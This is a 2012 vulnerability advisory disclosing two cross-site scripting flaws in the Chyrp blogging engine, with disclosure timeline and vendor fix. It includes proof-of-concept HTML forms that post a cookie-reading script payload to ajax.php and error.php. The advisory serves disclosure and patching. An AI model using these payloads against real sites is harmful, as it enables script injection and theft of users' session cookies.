Multiple XSS in Chyrp



Advisory ID: HTB23073
Product: Chyrp
Vendor: Chyrp
Vulnerable Version(s): 2.5b1 and probably prior
Tested Version: 2.5b1
Vendor Notification: 1 February 2012
Vendor Patch: 2 February 2012
Public Disclosure: 22 February 2012
Vulnerability Type: Cross Site Scripting (XSS)
CVE Reference(s): CVE-2012-1001
Solution Status: Fixed by Vendor
Risk Level: Medium
Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.ch/advisory/ )

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Chyrp, which can be exploited to perform Cross Site Scripting attacks.

1) Cross Site Scripting (XSS) in Chyrp: CVE-2012-1001

1.1 Input passed via the "content" POST parameter to /includes/ajax.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.

The following PoC (Proof of Concept) demonstrates the vulnerability:


<form action="http://[host]/includes/ajax.php"; method="post">
<input type="hidden" name="action" value="preview" />
<input type="hidden" name="feather" value="" />
<input type="hidden" name="field" value="" />
<input type="hidden" name="content" value='<script>alert(document.cookie);</script>' />
<input type="submit" id="btn">
</form>


1.2 Input passed via the "body" POST parameter to /includes/error.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.

The following PoC (Proof of Concept) demonstrates the vulnerability:


<form action="http://[host]/includes/error.php"; method="post">
<input type="hidden" name="ajax" value="1" />
<input type="hidden" name="body" value='<script>alert(document.cookie);</script>' />
<input type="submit" id="btn">
</form>


Successful exploitation of this vulnerability (1.2) requires that "register_globals" is enabled.

-----------------------------------------------------------------------------------------------

Solution:

Upgrade to Chyrp 2.1.2 or Chyrp 2.5 Beta 2

More information:
http://chyrp.net/2012/02/02/heres-whats-been-going-on-recently/

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23073 - https://www.htbridge.ch/advisory/HTB23073 - Multiple XSS in Chyrp.
[2] Chyrp - http://chyrp.net - Chyrp is a blogging engine designed to be very lightweight while retaining functionality. It is powered by PHP and has very powerful theme and extension engines.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.



Relevant Pages